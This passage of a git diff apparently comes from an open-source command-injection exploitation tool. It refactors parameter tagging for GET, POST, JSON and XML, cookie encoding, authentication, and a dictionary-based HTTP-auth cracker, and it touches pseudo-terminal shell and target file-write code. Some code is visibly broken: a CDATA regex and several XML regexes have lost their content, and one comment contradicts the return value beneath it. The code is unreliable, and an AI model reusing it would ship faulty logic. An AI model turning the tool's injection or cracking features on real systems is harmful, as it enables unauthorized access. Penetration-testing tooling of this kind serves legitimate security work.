'" + sys_users_list[user] + is_privileged + "'" + settings.END_LINE.LF ) else: - # settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) warn_msg = "It seems you do not have permission to enumerate operating system users." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) except TypeError: pass except IndexError: - # settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) warn_msg = "It seems you do not have permission to enumerate operating system users." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) pass @@ -2611,9 +2608,7 @@ def escape_single_quoted_cmd(cmd): def find_filename(dest_to_write, content): fname = os.path.basename(dest_to_write) tmp_fname = fname + "_tmp" - # _ = settings.FILE_WRITE if settings.TARGET_OS == settings.OS.WINDOWS: - # _ = settings.FILE_WRITE_WIN cmd = settings.WIN_FILE_WRITE_OPERATOR + tmp_fname.replace("\\","\\\\") + settings.SINGLE_WHITESPACE + "'" + content + "'" else: cmd = settings.FILE_WRITE + content + settings.FILE_WRITE_OPERATOR + tmp_fname @@ -2998,8 +2993,6 @@ def use_temp_folder(no_result, url, timesec, filename, http_request_method, url_ settings.print_data_to_stdout(settings.END_LINE.CR) while True: message = "Insufficient permissions on directory '" + settings.WEB_ROOT + "'. " - # if not menu.options.web_root: - # message += " You are advised to rerun with option '--web-root'." message += "Do you want to use '" + tmp_path + "' instead? [Y/n] > " tmp_upload = common.read_input(message, default="Y", check_batch=True) if tmp_upload in settings.CHOICE_YES: diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index c0999a3ca6..d416767500 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -110,7 +110,9 @@ def heuristic_request(url, http_request_method, check_parameter, payload, whites settings.print_data_to_stdout(settings.print_payload(payload)) if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: payload = checks.payload_fixation(payload) - cookie = checks.process_injectable_value(payload, menu.options.cookie).encode(settings.DEFAULT_CODEC) + # Percent-encode cookie values to safely handle delimiters and special characters. + encoded_payload = _urllib.parse.quote(payload, safe=settings.SAFE_QUERY) + cookie = checks.process_injectable_value(encoded_payload, menu.options.cookie).encode(settings.DEFAULT_CODEC) else: cookie = checks.remove_tags(menu.options.cookie).encode(settings.DEFAULT_CODEC) @@ -516,8 +518,6 @@ def cookie_injection(url, http_request_method, filename, timesec): cookie_parameters_list = [] cookie_parameters_list.append(cookie_parameters) cookie_parameters = cookie_parameters_list - # Remove whitespaces - cookie_parameters = [x.replace(settings.SINGLE_WHITESPACE, "") for x in cookie_parameters] do_injection(cookie_parameters, settings.COOKIE, header_name, url, http_request_method, filename, timesec) if settings.COOKIE_INJECTION: diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index f6a656436a..f68bb129cb 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -167,6 +167,8 @@ def pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) settings.print_data_to_stdout(settings.END_LINE.CR) + # Return False to stop searching after this combination was already reported. + return True """ The main Time-related exploitation proccess. @@ -231,7 +233,6 @@ def do_time_related_proccess(url, timesec, filename, http_request_method, url_ti settings.TIME_BASED_STATE = True elif technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: settings.TEMPFILE_BASED_STATE = True - #OUTPUT_TEXTFILE = tmp_path + TAG + settings.OUTPUT_FILE_EXT OUTPUT_TEXTFILE = injector.select_output_filename(technique, tmp_path, TAG) cmd = shell = "" checks.check_for_stored_tamper(payload) @@ -253,7 +254,6 @@ def do_time_related_proccess(url, timesec, filename, http_request_method, url_ti alter_shell = menu.options.alter_shell tag_length = len(TAG) + 4 if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: - #OUTPUT_TEXTFILE = tmp_path + TAG + settings.OUTPUT_FILE_EXT OUTPUT_TEXTFILE = injector.select_output_filename(technique, tmp_path, TAG) for output_length in range(1, int(tag_length)): try: @@ -321,9 +321,6 @@ def do_time_related_proccess(url, timesec, filename, http_request_method, url_ti if settings.TARGET_OS == settings.OS.WINDOWS: if alter_shell: - # if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - # cmd = settings.WIN_PYTHON_INTERPRETER + "python.exe -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" - # else: cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" else: rand_num = randv1 + randv2 @@ -377,7 +374,7 @@ def do_time_related_proccess(url, timesec, filename, http_request_method, url_ti delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) raise - except: + except (Exception, SystemExit): percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2)) if str(float_percent) == "100.0": @@ -498,7 +495,6 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: settings.FILE_BASED_STATE = True checks.check_for_stored_tamper(payload) - #OUTPUT_TEXTFILE = TAG + settings.OUTPUT_FILE_EXT tmp_path = "" OUTPUT_TEXTFILE = injector.select_output_filename(technique, tmp_path, TAG) if re.findall(settings.DIRECTORY_REGEX,payload): @@ -526,7 +522,6 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: # The output file for file-based injection technique. - #OUTPUT_TEXTFILE = TAG + settings.OUTPUT_FILE_EXT OUTPUT_TEXTFILE = injector.select_output_filename(technique, tmp_path, TAG) else: randv1 = random.randrange(100) @@ -616,7 +611,6 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: # Delete previous shell (text) files (output) if 'vuln_parameter' in locals(): - # settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) raise else: @@ -641,7 +635,7 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec checks.EOFError_err_msg() raise - except: + except (Exception, SystemExit): if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: raise else: diff --git a/src/core/injections/controller/injector.py b/src/core/injections/controller/injector.py index 084732d327..57cd2008cf 100755 --- a/src/core/injections/controller/injector.py +++ b/src/core/injections/controller/injector.py @@ -515,7 +515,7 @@ def custom_web_root(url, OUTPUT_TEXTFILE): if "?" and settings.OUTPUT_FILE_EXT in output: try: output = output.split("?")[0] - except: + except (Exception, SystemExit): pass except IndexError: output = url + "/" + OUTPUT_TEXTFILE @@ -684,10 +684,8 @@ def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, times shell = "" else: shell = checks.process_page_content(response, action="encode").rstrip().lstrip() - #shell = [newline.replace(settings.END_LINE.LF,settings.SINGLE_WHITESPACE) for newline in shell] if settings.TARGET_OS == settings.OS.WINDOWS: shell = [newline.replace(settings.END_LINE.CR, "") for newline in shell] - #shell = [space.strip() for space in shell] shell = [empty for empty in shell if empty] except (_urllib.error.HTTPError, _urllib.error.URLError) as e: if str(e.getcode()) == settings.NOT_FOUND_ERROR: diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index ce3c218d81..f32f05e787 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -76,6 +76,8 @@ def invalid_data(request): if os.stat(request_file).st_size != 0: with open(request_file, encoding=settings.DEFAULT_CODEC) as file: request = file.read() + # Normalize CRLF line endings. + request = request.replace(settings.END_LINE.CRLF, settings.END_LINE.LF) else: invalid_data(request_file) @@ -83,7 +85,8 @@ def invalid_data(request): c = 1 request_headers = [] request_lines = request.split(settings.END_LINE.LF) - while c < len(request_lines) and len(request_lines[c]) > 0: + # No ':' means body start, not a header (avoids dropping the body). + while c < len(request_lines) and len(request_lines[c]) > 0 and ':' in request_lines[c]: x = request_lines[c].find(':') header_name = request_lines[c][:x].title() header_value = request_lines[c][x + 1:] @@ -93,7 +96,8 @@ def invalid_data(request): request_headers.extend(menu.options.headers.split(settings.END_LINE.ESCAPED_LF)) request_headers.append(header_name + ":" + header_value) c += 1 - c += 1 + if c < len(request_lines) and len(request_lines[c]) == 0: + c += 1 menu.options.data = "".join(request_lines[c:] if c < len(request_lines) else "") settings.RAW_HTTP_HEADERS = settings.END_LINE.ESCAPED_LF.join(request_headers) @@ -151,7 +155,6 @@ def invalid_data(request): if auth_provided: menu.options.auth_type = auth_provided[0].lower() if menu.options.auth_type.lower() == settings.AUTH_TYPE.BASIC: - # menu.options.auth_cred = base64.b64decode(auth_provided[1]).decode() try: # Add base64 padding if missing b64_string = auth_provided[1] diff --git a/src/core/main.py b/src/core/main.py index a1723ccad9..f8b96b3faa 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -50,7 +50,6 @@ # Set default encoding _reload_module(sys) -#sys.setdefaultencoding(settings.DEFAULT_CODEC) if settings.IS_WINDOWS: import codecs @@ -179,7 +178,7 @@ def check_internet(url): request = _urllib.request.Request(settings.CHECK_INTERNET_ADDRESS, method=settings.HTTPMETHOD.GET) headers.do_check(request) examine_request(request, url) - except: + except (Exception, SystemExit): settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) error_msg = "No internet connection detected." settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) @@ -616,7 +615,9 @@ def main(filename, url, http_request_method): smoke_test() try: - if hasattr(sys.stdin, "fileno") and not any((os.isatty(sys.stdin.fileno()), menu.options.ignore_stdin)): + # Treat non-interactive stdin as targets only when no explicit target was given. + if hasattr(sys.stdin, "fileno") and not any((os.isatty(sys.stdin.fileno()), menu.options.ignore_stdin, + menu.options.url, menu.options.requestfile, menu.options.bulkfile, menu.options.logfile)): settings.STDIN_PARSING = True except Exception as ex: if "fileno" in str(ex) and settings.STDIN_PARSING: @@ -1047,7 +1048,7 @@ def main(filename, url, http_request_method): if response != False: filename = logs.logs_filename_creation(url) main(filename, url, http_request_method) - except: + except (Exception, SystemExit): pass else: url_num += 1 diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index 430366f530..e667cb3da2 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -38,12 +38,24 @@ The authentication process """ def authentication_process(http_request_method): + if not menu.options.auth_data: + err_msg = "The '--auth-url' option requires the '--auth-data' option to be provided too." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + try: auth_url = menu.options.auth_url auth_data = menu.options.auth_data - #cj = cookielib.CookieJar() cj = _http_cookiejar.CookieJar() opener = _urllib.request.build_opener(_urllib.request.HTTPCookieProcessor(cj)) + _urllib.request.install_opener(opener) + request = _urllib.request.Request(auth_url, auth_data.encode(settings.DEFAULT_CODEC), method=http_request_method) + # Check if defined extra headers. + headers.do_check(request) + headers.check_http_traffic(request) + # Get the response of the request. + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + # HTTPCookieProcessor only fills the jar after the response is received. cookies = "" for cookie in cj: cookie_values = cookie.name + "=" + cookie.value + "; " @@ -54,13 +66,7 @@ def authentication_process(http_request_method): info_msg = "The received cookie is " info_msg += str(menu.options.cookie) + Style.RESET_ALL + "." settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) - _urllib.request.install_opener(opener) - request = _urllib.request.Request(auth_url, auth_data.encode(settings.DEFAULT_CODEC), method=http_request_method) - # Check if defined extra headers. - headers.do_check(request) - headers.check_http_traffic(request) - # Get the response of the request. - return _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + return response except Exception as err_msg: checks.connection_exceptions(err_msg) @@ -105,6 +111,10 @@ def http_auth_cracker(url, realm, http_request_method): settings.PERFORM_CRACKING = True # Define the HTTP authentication type. authentication_type = menu.options.auth_type + if authentication_type.lower() not in (settings.AUTH_TYPE.BASIC, settings.AUTH_TYPE.DIGEST): + err_msg = "Dictionary-based cracking is not supported for the '" + authentication_type + "' HTTP authentication type." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + return False # Define the authentication wordlists for usernames / passwords. usernames, passwords = define_wordlists() i = 1 @@ -140,7 +150,8 @@ def http_auth_cracker(url, realm, http_request_method): found = True except KeyboardInterrupt : raise - except (_urllib.error.HTTPError, _urllib.error.URLError): + except (Exception, SystemExit): + # Don't abort the whole wordlist attack on one failed request. pass if found: if settings.VERBOSITY_LEVEL == 0: diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index c0c5aca9c7..d198b891bf 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -35,17 +35,93 @@ def get_url_part(url): return url_part +""" +Grab the value out of a plain 'key=value' fragment. +""" +def get_kv_value(parameter): + value = re.findall(r'=(.*)', parameter) + value = ''.join(value) + return value + +""" +Unwrap a value that's a lone CDATA section, otherwise return it unchanged. +""" +def unwrap_cdata(value): + cdata_only = re.match(r'\A\Z', value, re.S) + return cdata_only.group(1) if cdata_only else value + +""" +Insert the INJECT_HERE tag right after 'value' inside 'text'. +""" +def apply_tag_to_value(text, value): + if settings.CUSTOM_INJECTION_MARKER: + if settings.ASTERISK_MARKER in value: + text = text.replace(value, value.replace(settings.ASTERISK_MARKER, settings.INJECT_TAG)) + else: + if not settings.ASTERISK_MARKER in value and not settings.CUSTOM_INJECTION_MARKER_CHAR in value: + text = text.replace(value, value + settings.INJECT_TAG) + return text + +""" +Find the pair carrying the INJECT_TAG and register it as the vulnerable parameter. +""" +def extract_vuln_param_from_pairs(text, delimiter, strip_leading_space=False, check_base64_padding=False): + pairs = text.split(delimiter) + if strip_leading_space: + pairs = [p.lstrip(settings.SINGLE_WHITESPACE) for p in pairs] + pairs[:] = [p for p in pairs if "=" in p] + for pair in pairs: + if settings.INJECT_TAG in pair: + vuln_parameter, param_value = pair.split("=", 1) + if settings.CUSTOM_INJECTION_MARKER: + register_custom_injection_marker(vuln_parameter, param_value) + settings.TESTABLE_VALUE = param_value.replace(settings.INJECT_TAG, "") + if check_base64_padding and settings.BASE64_PADDING in pair: + settings.TESTABLE_VALUE = settings.TESTABLE_VALUE + settings.BASE64_PADDING + return vuln_parameter + return None + +""" +Resolve the custom-marker component to prepend/append to a prefix or suffix. +""" +def resolve_marker_component(default_value, marker_char): + if settings.CUSTOM_INJECTION_MARKER and len(settings.PRE_CUSTOM_INJECTION_MARKER_CHAR) != 0: + return marker_char + if settings.IS_JSON or (settings.LOAD_SESSION and not any((settings.COOKIE_INJECTION, settings.USER_AGENT_INJECTION, + settings.REFERER_INJECTION, settings.HOST_INJECTION, + settings.CUSTOM_HEADER_INJECTION))): + return None + return default_value + +""" +Shield each leaf element behind a placeholder so a line/element split can't fragment it. +""" +def shield_xml_leaves(text): + shielded = [] + def _shield(m): + shielded.append(m.group(0)) + return "<\x00SHIELD%d\x00>" % (len(shielded) - 1) + shielded_text = re.sub(r"<(\w[\w:.\-]*)((?:\s+[^<>]*)?)>((?:[^<]|)*)", + _shield, text, flags=re.S) + return shielded_text, shielded + +""" +Reverse shield_xml_leaves() on a string or a list of strings. +""" +def restore_xml_shields(text_or_list, shielded): + def _restore_one(s): + for index, value in enumerate(shielded): + s = s.replace("<\x00SHIELD%d\x00>" % index, value) + return s + if isinstance(text_or_list, list): + return [_restore_one(s) for s in text_or_list] + return _restore_one(text_or_list) + """ Check if the 'INJECT_HERE' tag, is specified on GET Requests. """ def do_GET_check(url, http_request_method): - """ - Grab the value of parameter. - """ - def multi_params_get_value(parameter): - value = re.findall(r'=(.*)', parameter) - value = ''.join(value) - return value + multi_params_get_value = get_kv_value if settings.CUSTOM_INJECTION_MARKER and settings.SKIP_NON_CUSTOM_PARAMS: return False @@ -56,7 +132,7 @@ def multi_params_get_value(parameter): if settings.INJECT_TAG in url: settings.IGNORE_USER_DEFINED_POST_DATA = True - # Do replacement with the 'INJECT_HERE' tag, if the custom injection marker character is provided. + # Replace with INJECT_HERE, honoring the custom marker character. url = checks.process_custom_injection_data(url) # Check for REST-ful URLs format. if "?" not in url: @@ -91,7 +167,6 @@ def multi_params_get_value(parameter): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - # if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)): if len([s for s in multi_parameters if "=" in s]) == 0: checks.no_parameters_found() @@ -113,21 +188,15 @@ def multi_params_get_value(parameter): if len(value) == 0: parameters = parameters + settings.INJECT_TAG else: - if settings.CUSTOM_INJECTION_MARKER: - if settings.ASTERISK_MARKER in value: - parameters = parameters.replace(value, value.replace(settings.ASTERISK_MARKER, settings.INJECT_TAG)) - else: - if not settings.ASTERISK_MARKER in value and not settings.CUSTOM_INJECTION_MARKER_CHAR in value: - parameters = parameters.replace(value, value + settings.INJECT_TAG) + parameters = apply_tag_to_value(parameters, value) # Reconstruct the URL url = url_part + "?" + parameters url = url.replace(settings.RANDOM_TAG, "").replace(settings.ASTERISK_MARKER,"") urls_list.append(url) return urls_list else: - # Check if multiple parameters are supplied without the "INJECT_HERE" tag. - all_params = settings.URL_PARAM_DELIMITER.join(multi_parameters) - all_params = all_params.split(settings.URL_PARAM_DELIMITER) + # Multiple parameters without the INJECT_HERE tag. + all_params = list(multi_parameters) # Check for similarity in provided parameter name and value. all_params = checks.check_similarities(all_params) # Check if defined the "INJECT_HERE" tag @@ -135,38 +204,26 @@ def multi_params_get_value(parameter): for param in range(0,len(all_params)): # Grab the value of parameter. value = multi_params_get_value(all_params[param]) - for param in range(0,len(all_params)): - if param == 0 : - old = multi_params_get_value(all_params[param]) - else : - old = value - # Grab the value of parameter. - value = multi_params_get_value(all_params[param]) # Ignoring the anti-CSRF parameter(s). if checks.ignore_anticsrf_parameter(all_params[param]): - all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") + if param > 0: + all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") continue # Replace the value of parameter with INJECT_HERE tag if len(value) == 0: if not menu.options.skip_empty: all_params[param] = ''.join(all_params[param] + settings.INJECT_TAG) else: - if settings.CUSTOM_INJECTION_MARKER: - if settings.ASTERISK_MARKER in value: - all_params[param] = ''.join(all_params[param]).replace(value, value.replace(settings.ASTERISK_MARKER, settings.INJECT_TAG)) - else: - if not settings.ASTERISK_MARKER in value and not settings.CUSTOM_INJECTION_MARKER_CHAR in value: - all_params[param] = ''.join(all_params[param]).replace(value, value + settings.INJECT_TAG) - all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") + all_params[param] = apply_tag_to_value(''.join(all_params[param]), value) + if param > 0: + all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") parameter = settings.URL_PARAM_DELIMITER.join(all_params) # Reconstruct the URL url = url_part + "?" + parameter url = url.replace(settings.RANDOM_TAG, "").replace(settings.ASTERISK_MARKER,"") urls_list.append(url) else: - for param in range(0,len(multi_parameters)): - value = multi_params_get_value(multi_parameters[param]) - parameter = settings.URL_PARAM_DELIMITER.join(multi_parameters) + parameter = settings.URL_PARAM_DELIMITER.join(multi_parameters) # Reconstruct the URL url = url_part + "?" + parameter url = url.replace(settings.RANDOM_TAG, "") @@ -174,40 +231,38 @@ def multi_params_get_value(parameter): return urls_list +""" +Custom injection marker character bookkeeping. +""" +def register_custom_injection_marker(vuln_parameter, value_with_marker): + try: + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = value_with_marker.split(settings.INJECT_TAG)[0] + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = value_with_marker.split(settings.INJECT_TAG)[1] + except Exception: + pass + """ Define the vulnerable GET parameter. """ def vuln_GET_param(url): # Define the vulnerable parameter + vuln_parameter = None if "?" not in url: # Grab the value of parameter. value = re.findall(r'/(.*)/' + settings.INJECT_TAG + "", url) value = ''.join(value) vuln_parameter = re.sub(r"/(.*)/", "", value) - elif re.search(r"" + settings.URL_PARAM_DELIMITER + r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, url) or \ - re.search(r"\?(.*)=[\S*(\\/)]*" + settings.INJECT_TAG , url): - pairs = url.split("?")[1].split(settings.URL_PARAM_DELIMITER) - pairs[:] = [param for param in pairs if any(value in param for value in ["="])] - for param in range(0,len(pairs)): - if settings.INJECT_TAG in pairs[param]: - vuln_parameter = pairs[param].split("=")[0] - if settings.CUSTOM_INJECTION_MARKER: - try: - settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST - settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST - settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[0] - settings.POST_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] - except Exception: - pass - settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG, "") - if settings.BASE64_PADDING in pairs[param]: - settings.TESTABLE_VALUE = settings.TESTABLE_VALUE + settings.BASE64_PADDING - break + # Allow a value with a space, and escape the delimiter (--pdel). + elif re.search(re.escape(settings.URL_PARAM_DELIMITER) + r"(.*)=.*" + settings.INJECT_TAG, url) or \ + re.search(r"\?(.*)=.*" + settings.INJECT_TAG , url): + vuln_parameter = extract_vuln_param_from_pairs(url.split("?")[1], settings.URL_PARAM_DELIMITER, check_base64_padding=True) else: vuln_parameter = url - if 'vuln_parameter' not in locals(): + if vuln_parameter is None: return url if settings.USER_DEFINED_POST_DATA and vuln_parameter: @@ -216,84 +271,121 @@ def vuln_GET_param(url): return vuln_parameter """ -Check if the 'INJECT_HERE' tag, is specified on POST Requests. +Build one tagged candidate per leaf for a fragment whose value is itself a nested object. """ -def do_POST_check(parameter, http_request_method): - """ - Grab the value of parameter. - """ - def multi_params_get_value(param, all_params): - - def is_empty_json_str(s): - try: - return json.loads(s) == {} - except Exception: - return False - - # Check if parameters are empty or meaningless - if (len(all_params) == 0 or (len(all_params) == 1 and (all_params[0] == "{}" or is_empty_json_str(all_params[0])))): - checks.no_parameters_found() +def json_nested_leaf_candidates(fragment, full_parameter): + candidates = [] + key_match = re.match(r'\s*\{?\s*"([^"]+)"\s*:', fragment) + if not key_match: + return candidates + try: + full_json = json.loads(full_parameter, object_pairs_hook=OrderedDict) + except Exception: + return candidates + nested_value = full_json.get(key_match.group(1)) if isinstance(full_json, dict) else None + if not isinstance(nested_value, dict): + return candidates + for leaf_key, leaf_value in flatten(nested_value).items(): + last_key = leaf_key.split(settings.FLATTEN_JSON_SEPARATOR)[-1] + dumped = json.dumps(leaf_value) + anchor = "\"" + last_key + "\":" + settings.SINGLE_WHITESPACE + dumped + if anchor not in full_parameter: + anchor = "\"" + last_key + "\":" + dumped + if anchor not in full_parameter: + continue + if isinstance(leaf_value, str): + replacement = anchor[:-1] + settings.INJECT_TAG + "\"" + else: + replacement = anchor[:anchor.rindex(dumped)] + "\"" + dumped + settings.INJECT_TAG + "\"" + candidates.append(full_parameter.replace(anchor, replacement, 1)) + return candidates - if settings.IS_JSON: +""" +Check if a JSON string is an empty object. +""" +def is_empty_json_object(s): + try: + return json.loads(s) == {} + except Exception: + return False + +""" +Grab the value of a single POST parameter fragment. +""" +def multi_params_get_value(param, all_params): + # Check if parameters are empty or meaningless + if (len(all_params) == 0 or (len(all_params) == 1 and (all_params[0] == "{}" or is_empty_json_object(all_params[0])))): + checks.no_parameters_found() + + if settings.IS_JSON: + try: + # Single-parameter case: flatten to get the leaf value. + if len(all_params) != 1: + raise ValueError + flat = flatten(json.loads(all_params[param], object_pairs_hook=OrderedDict)) + value = json.dumps(list(flat.values())[0]) + except Exception: value = re.findall(r'\:(.*)', all_params[param]) if not value: value = all_params[param] - value = ''.join(value) + value = ''.join(value) if value.endswith("\"}"): value = (value[:-len("}")]) if checks.quoted_value(value) and any(_ in "[]{}" for _ in value): value = value.replace("\"","") else: value = re.sub(settings.IGNORE_JSON_CHAR_REGEX, '', value) - elif settings.IS_XML: - value = re.findall(r'>(.*)(.*)]+)((?:[^>]*[^/>])?)\s*/>", r"<\1\2>", parameter) + if expanded_parameter != parameter: + parameter = expanded_parameter + menu.options.data = expanded_parameter + # Shield leaf elements before the ">"/"<" split below. + parameter, _shielded = shield_xml_leaves(parameter) parameter = re.sub(r">\s*<", ">" + settings.POST_DATA_PARAM_DELIMITER + "<", parameter) _ = [] parameters = re.findall(r'(.*)', parameter) @@ -327,6 +429,10 @@ def json_format(parameter): for value in range(0,len(parameters)): _.append(parameters[value]) multi_parameters = _ + # Restore per entry (elements may contain newlines). + if _shielded: + multi_parameters = restore_xml_shields(multi_parameters, _shielded) + parameter = settings.POST_DATA_PARAM_DELIMITER.join(multi_parameters) else: try: multi_parameters = parameter.split(settings.POST_DATA_PARAM_DELIMITER) @@ -334,131 +440,153 @@ def json_format(parameter): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - # if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)) and \ - # not settings.IS_JSON and \ - # not settings.IS_XML: - # return "" if len([s for s in multi_parameters if "=" in s]) == 0 and not any((settings.IS_JSON, settings.IS_XML)): checks.no_parameters_found() - _ = [] - _.append(parameter) - parameter = ''.join(checks.check_similarities(_)) - # Check if single parameter is supplied. - if len(multi_parameters) == 1: - if settings.INJECT_TAG not in multi_parameters[0]: - # Grab the value of parameter. - if settings.IS_JSON: - # Grab the value of parameter. - value = multi_params_get_value(0, checks.check_similarities(_)) - elif settings.IS_XML: - # Grab the value of parameter. - value = re.findall(r'>(.*)(.*)" to avoid matching inside a key name. + anchor = ":" + settings.SINGLE_WHITESPACE + value + if settings.IS_JSON and anchor not in parameter: + anchor = ":" + value + if settings.IS_JSON and anchor in parameter: + parameter = parameter.replace(anchor, anchor + settings.INJECT_TAG) + else: parameter = parameter.replace(value, value + settings.INJECT_TAG) - if settings.IS_JSON: - parameter = json_int_check(parameter, value) - parameter = parameter.replace(settings.RANDOM_TAG, "").replace(settings.ASTERISK_MARKER,"") - return parameter - else: - for param in range(0, len(multi_parameters)): - # Grab the value of parameter. - value = multi_params_get_value(param, multi_parameters) - parameter = settings.POST_DATA_PARAM_DELIMITER.join(multi_parameters) - parameter = parameter.replace(settings.RANDOM_TAG, "") - if settings.IS_JSON and settings.INJECT_TAG in value: - parameter = json_int_check(parameter, value) - break + if settings.IS_JSON: + parameter = json_int_check(parameter, value) + parameter = parameter.replace(settings.RANDOM_TAG, "").replace(settings.ASTERISK_MARKER,"") return parameter + else: + for param in range(0, len(multi_parameters)): + # Grab the value of parameter. + value = multi_params_get_value(param, multi_parameters) + parameter = settings.POST_DATA_PARAM_DELIMITER.join(multi_parameters) + parameter = parameter.replace(settings.RANDOM_TAG, "") + if settings.IS_JSON and settings.INJECT_TAG in value: + parameter = json_int_check(parameter, value) + break + return parameter +""" +Handle a POST body that split into more than one parameter fragment. +""" +def handle_multiple_post_parameters(parameter, multi_parameters, http_request_method): + parameters_list = [] + # Multiple parameters without the INJECT_HERE tag. + if settings.IS_XML: + all_params = multi_parameters else: - # Check if multiple parameters are supplied without the "INJECT_HERE" tag. - if settings.IS_XML: - all_params = multi_parameters - else: - all_params = settings.POST_DATA_PARAM_DELIMITER.join(multi_parameters) - # Check for similarity in provided parameter name and value. - all_params = all_params.split(settings.POST_DATA_PARAM_DELIMITER) - all_params = checks.check_similarities(all_params) - # Check if not defined the "INJECT_HERE" tag in parameter - if settings.INJECT_TAG not in parameter: - if checks.is_empty(multi_parameters, http_request_method): - return parameter - for param in range(0, len(all_params)): - if param == 0 : - old = multi_params_get_value(param, all_params) - else : - old = value - # Grab the value of parameter. - value = multi_params_get_value(param, all_params) - # Ignoring the anti-CSRF parameter(s). - if checks.ignore_anticsrf_parameter(all_params[param]): + # Check for similarity in provided parameter name and value. + all_params = list(multi_parameters) + all_params = checks.check_similarities(all_params) + original_json_text = settings.POST_DATA_PARAM_DELIMITER.join(all_params) if settings.IS_JSON else None + # Check if not defined the "INJECT_HERE" tag in parameter + if settings.INJECT_TAG not in parameter: + if checks.is_empty(multi_parameters, http_request_method): + return parameter + for param in range(0, len(all_params)): + original_fragment = all_params[param] + # Grab the value of parameter. + value = multi_params_get_value(param, all_params) + # Ignoring the anti-CSRF parameter(s). + if checks.ignore_anticsrf_parameter(all_params[param]): + if param > 0: all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") - continue - # Replace the value of parameter with INJECT_HERE tag - if len(value) == 0: - if not menu.options.skip_empty: - if settings.IS_JSON: - all_params[param] = ''.join(all_params[param]).replace(":\"\"", ":\"" + settings.INJECT_TAG + "\"").replace(":\\\"\\\"", ":\\\"" + settings.INJECT_TAG + "\\\"") - elif settings.IS_XML: - all_params[param] = 